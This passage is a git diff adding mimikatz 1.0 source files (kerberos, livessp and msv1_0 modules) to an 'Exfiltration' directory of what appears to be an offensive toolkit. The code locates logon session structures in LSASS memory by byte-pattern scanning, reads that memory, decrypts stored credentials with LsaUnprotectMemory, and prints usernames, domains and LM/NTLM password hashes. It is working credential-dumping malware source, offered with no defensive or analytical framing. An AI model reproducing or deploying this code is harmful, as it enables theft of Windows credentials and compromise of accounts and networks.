+ static bool uninitLSASSData();
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp
new file mode 100644
index 0000000..dae52d2
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp
@@ -0,0 +1,135 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "kerberos.h"
+#include "..\..\global.h"
+mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL;
+mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast<mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION>(NULL);
+long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0;
+PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
+
+bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector<wstring> * arguments)
+{
+ vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
+ monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getKerberosLogonData, wstring(L"kerberos")));
+ return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
+}
+
+bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs()
+{
+#ifdef _M_X64
+ BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d};
+ LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
+
+ BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84};
+ LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
+#elif defined _M_IX86
+ BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53};
+ LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4);
+ BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC
+ LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4);
+
+ BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8};
+ LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
+#endif
+ if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList))
+ {
+ PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
+
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ pointeur= reinterpret_cast<PBYTE *>(&KerbLogonSessionList);
+ pattern = PTRN_WALL_KerbFreeLogonSessionList;
+ taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList);
+ offset = OFFS_WALL_KerbFreeLogonSessionList;
+
+ if(mod_system::GLOB_Version.dwMinorVersion < 2)
+ offsetMagic = 8;
+ }
+ else
+ {
+ pointeur= reinterpret_cast<PBYTE *>(&KerbGlobalLogonSessionTable);
+
+#ifdef _M_X64
+ pattern = PTRN_WALL_KerbUnloadLogonSessionTable;
+ taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
+ offset = OFFS_WALL_KerbUnloadLogonSessionTable;
+#elif defined _M_IX86
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+ pattern = PTRN_WNO8_KerbUnloadLogonSessionTable;
+ taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable);
+ offset = OFFS_WNO8_KerbUnloadLogonSessionTable;
+ }
+ else
+ {
+ if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC
+ PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c;
+ pattern = PTRN_WIN8_KerbUnloadLogonSessionTable;
+ taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable);
+ offset = OFFS_WIN8_KerbUnloadLogonSessionTable;
+ }
+#endif
+ }
+
+ if(HMODULE monModule = LoadLibrary(L"kerberos"))
+ {
+ MODULEINFO mesInfos;
+ if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
+ {
+ mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset);
+ *pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+ }
+ FreeLibrary(monModule);
+ }
+ }
+ return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList));
+}
+
+bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity)
+{
+ if(searchKerberosFuncs())
+ {
+ PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
+ DWORD taille;
+ BYTE * monBuff = NULL;
+
+ if(KerbGlobalLogonSessionTable)
+ {
+ taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL);
+ monBuff = new BYTE[taille];
+
+ if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId)))
+ {
+ if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
+ {
+ pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(monBuff);
+ mesCreds = &pLogSession->credentials;
+ }
+ }
+ }
+ else
+ {
+ taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic;
+ monBuff = new BYTE[taille];
+ if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId)))
+ {
+ if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
+ {
+ pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(monBuff);
+ if(offsetMagic != 0)
+ pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(reinterpret_cast<PBYTE>(pLogSession) + offsetMagic);
+ mesCreds = &pLogSession->credentials;
+ }
+ }
+ }
+ mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
+ delete [] monBuff;
+ }
+ else (*outputStream) << L"n.a. (kerberos KO)";
+
+ return true;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h
new file mode 100644
index 0000000..1418d4f
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h
@@ -0,0 +1,70 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../mod_mimikatz_sekurlsa.h"
+
+class mod_mimikatz_sekurlsa_kerberos {
+
+private:
+ typedef struct _KIWI_KERBEROS_LOGON_SESSION
+ {
+ struct _KIWI_KERBEROS_LOGON_SESSION *Flink;
+ struct _KIWI_KERBEROS_LOGON_SESSION *Blink;
+ DWORD UsageCount;
+ PVOID unk0;
+ PVOID unk1;
+ PVOID unk2;
+ DWORD unk3;
+ DWORD unk4;
+ PVOID unk5;
+ PVOID unk6;
+ PVOID unk7;
+ LUID LocallyUniqueIdentifier;
+ #ifdef _M_IX86
+ DWORD unk8;
+ #endif
+ DWORD unk9;
+ DWORD unk10;
+ PVOID unk11;
+ DWORD unk12;
+ DWORD unk13;
+ PVOID unk14;
+ PVOID unk15;
+ PVOID unk16;
+ KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
+ } KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION;
+
+ typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL
+ {
+ DWORD unk0;
+ PVOID unk1;
+ PVOID unk2;
+ PVOID unk3;
+ #ifdef _M_X64
+ BYTE unk4[32];
+ #elif defined _M_IX86
+ BYTE unk4[20];
+ #endif
+ LUID LocallyUniqueIdentifier;
+ #ifdef _M_X64
+ BYTE unk5[44];
+ #elif defined _M_IX86
+ BYTE unk5[36];
+ #endif
+ KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
+ } KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL;
+
+ static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList;
+ static long offsetMagic;
+ static PRTL_AVL_TABLE KerbGlobalLogonSessionTable;
+ static bool searchKerberosFuncs();
+
+public:
+ static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS;
+ static bool getKerberos(vector<wstring> * arguments);
+ static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp
new file mode 100644
index 0000000..7f64678
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp
@@ -0,0 +1,70 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "livessp.h"
+#include "..\..\global.h"
+mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL;
+mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast<mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY>(NULL);
+
+bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector<wstring> * arguments)
+{
+ vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
+ monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getLiveSSPLogonData, wstring(L"livessp")));
+ return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
+}
+
+bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList()
+{
+#ifdef _M_X64
+ BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00};
+#elif defined _M_IX86
+ BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0};
+#endif
+ LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4);
+
+ if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList)
+ {
+
+ PBYTE *pointeur = reinterpret_cast<PBYTE *>(&LiveGlobalLogonSessionList);
+ if(HMODULE monModule = LoadLibrary(L"livessp"))
+ {
+ MODULEINFO mesInfos;
+ if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
+ {
+ mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions);
+ *pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+ }
+ FreeLibrary(monModule);
+ }
+ }
+ return (pModLIVESSP && LiveGlobalLogonSessionList);
+}
+
+bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity)
+{
+ if(searchLiveGlobalLogonSessionList())
+ {
+ PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
+ BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)];
+ if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId)))
+ {
+ if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
+ {
+ pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(monBuffP);
+ if(pLogSession->suppCreds)
+ {
+ if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
+ mesCreds = &(reinterpret_cast<PKIWI_LIVESSP_PRIMARY_CREDENTIAL>(monBuffC)->credentials);
+ }
+ else (*outputStream) << L"n.s. (SuppCred KO) / ";
+ }
+ }
+ mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
+ delete [] monBuffC, monBuffP;
+ }
+ else (*outputStream) << L"n.a. (livessp KO)";
+ return true;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h
new file mode 100644
index 0000000..891da63
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h
@@ -0,0 +1,44 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../mod_mimikatz_sekurlsa.h"
+
+class mod_mimikatz_sekurlsa_livessp {
+
+private:
+ typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL
+ {
+ DWORD isSupp; // 88h
+ DWORD unk0;
+ KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
+ } KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL;
+
+ typedef struct _KIWI_LIVESSP_LIST_ENTRY
+ {
+ struct _KIWI_LIVESSP_LIST_ENTRY *Flink;
+ struct _KIWI_LIVESSP_LIST_ENTRY *Blink;
+ PVOID unk0; // 1
+ PVOID unk1; // 0FFFFFFFFh
+ PVOID unk2; // 0FFFFFFFFh
+ PVOID unk3; // 0
+ DWORD unk4; // 0
+ DWORD unk5; // 0
+ PVOID unk6; // 20007D0h
+ LUID LocallyUniqueIdentifier;
+ LSA_UNICODE_STRING UserName;
+ PVOID unk7; // 2000010Dh
+ PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds;
+ } KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY;
+
+ static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList;
+ static bool searchLiveGlobalLogonSessionList();
+
+public:
+ static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP;
+ static bool getLiveSSP(vector<wstring> * arguments);
+ static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp
new file mode 100644
index 0000000..39fa015
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp
@@ -0,0 +1,217 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "msv1_0.h"
+#include "..\..\global.h"
+PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL;
+PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL;
+
+bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector<wstring> * arguments)
+{
+ vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
+ monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0")));
+ return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
+}
+
+bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList()
+{
+#ifdef _M_X64
+ BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E};
+ BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8};
+
+ LONG OFFS_WALL_LogonSessionList = -sizeof(long);
+ LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long));
+ LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
+ LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long));
+ LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
+#elif defined _M_IX86
+ BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD};
+ BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5};
+ BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84};
+
+ LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG)));
+ LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG)));
+ LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1;
+ LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
+ LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long));
+ LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
+#endif
+ if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList)
+ {
+ PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0;
+#ifdef _M_X64
+ offsetListe = OFFS_WALL_LogonSessionList;
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ pattern = PTRN_WIN5_LogonSessionList;
+ taille = sizeof(PTRN_WIN5_LogonSessionList);
+ offsetCount = OFFS_WIN5_LogonSessionListCount;
+ }
+ else
+ {
+ pattern = PTRN_WIN6_LogonSessionList;
+ taille = sizeof(PTRN_WIN6_LogonSessionList);
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount;
+ else
+ offsetCount = OFFS_WIN8_LogonSessionListCount;
+ }
+#elif defined _M_IX86
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+ if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1))
+ {
+ pattern = PTRN_WN51_LogonSessionList;
+ taille = sizeof(PTRN_WN51_LogonSessionList);
+ offsetListe = OFFS_WN51_LogonSessionList;
+ }
+ else
+ {
+ pattern = PTRN_WNO8_LogonSessionList;
+ taille = sizeof(PTRN_WNO8_LogonSessionList);
+ offsetListe = OFFS_WNO8_LogonSessionList;
+ offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount;
+ }
+ }
+ else
+ {
+ pattern = PTRN_WIN8_LogonSessionList;
+ taille = sizeof(PTRN_WIN8_LogonSessionList);
+ offsetListe = OFFS_WIN8_LogonSessionList;
+ offsetCount = OFFS_WIN8_LogonSessionListCount;
+ }
+#endif
+ MODULEINFO mesInfos;
+ if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
+ {
+ pointeur = reinterpret_cast<PBYTE *>(&LogonSessionList);
+ if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe))
+ {
+ *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+ if(offsetCount)
+ {
+ pointeur = reinterpret_cast<PBYTE *>(&LogonSessionListCount);
+ if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount))
+ *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+ }
+ }
+ }
+ }
+ return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount));
+}
+
+bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity)
+{
+ if(searchLogonSessionList())
+ {
+ LONG offsetToLuid, offsetToCredentials;
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier);
+ offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials);
+ }
+ else
+ {
+ offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier);
+ offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials);
+ if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8
+ {
+#ifdef _M_X64
+ offsetToCredentials += 4*sizeof(PVOID);
+#elif defined _M_IX86
+ offsetToCredentials += 2*sizeof(PVOID);
+#endif
+ }
+ }
+
+ ULONG nbListes = 0;
+ if(LogonSessionListCount)
+ mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS);
+ else nbListes = 1;
+
+ PLIST_ENTRY pLogSession = NULL;
+ for(ULONG i = 0; i < nbListes; i++)
+ {
+ if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LogonSessionList + i), offsetToLuid, logId))
+ {
+ BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)];
+ if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS))
+ {
+ PVOID monPtr = *reinterpret_cast<PVOID *>(kiwiMSVListEntry + offsetToCredentials);
+ if(monPtr)
+ {
+ BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)];
+ if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
+ {
+ PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast<PKIWI_MSV1_0_CREDENTIALS>(kiwiMSVCredentials);
+ if(mesCreds->PrimaryCredentials)
+ {
+ BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)];
+ if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
+ {
+ decryptAndDisplayCredsBlock(&reinterpret_cast<PKIWI_MSV1_0_PRIMARY_CREDENTIALS>(kiwiMSVPrimaryCredentials)->Credentials, justSecurity);
+ } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)";
+ delete [] kiwiMSVPrimaryCredentials;
+
+ } else (*outputStream) << L"n.s. (PrimaryCredentials KO)";
+
+ }else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)";
+ delete [] kiwiMSVCredentials;
+
+ } else (*outputStream) << L"n.s. (Credentials KO)";
+
+ } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)";
+ delete [] kiwiMSVListEntry;
+
+ break;
+ }
+ }
+ if(!pLogSession)
+ (*outputStream) << L"n.t. (LUID KO)";
+ }
+ else (*outputStream) << L"n.a. (msv1_0 KO)";
+ return true;
+}
+
+bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity)
+{
+ if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer)
+ {
+ BYTE * monBuffer = new BYTE[monBlock->MaximumLength];
+ if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS))
+ {
+ mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length);
+ PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast<PMSV1_0_PRIMARY_CREDENTIAL>(monBuffer);
+
+ NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false);
+ NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false);
+
+ wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword));
+ wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword));
+
+ if(justSecurity)
+ (*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }";
+ else
+ {
+ (*outputStream) << endl <<
+ L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl <<
+ L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl <<
+ L"\t * Hash LM : " << lmHash << endl <<
+ L"\t * Hash NTLM : " << ntHash;
+ }
+ } else (*outputStream) << L"n.e. (Lecture Block Credentials KO)";
+
+ delete [] monBuffer;
+ } else (*outputStream) << L"n.s. (Block Credentials KO)";
+
+ return true;
+}
+
+void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative)
+{
+ if(String->Buffer)
+ String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress)));
+} \ No newline at end of file
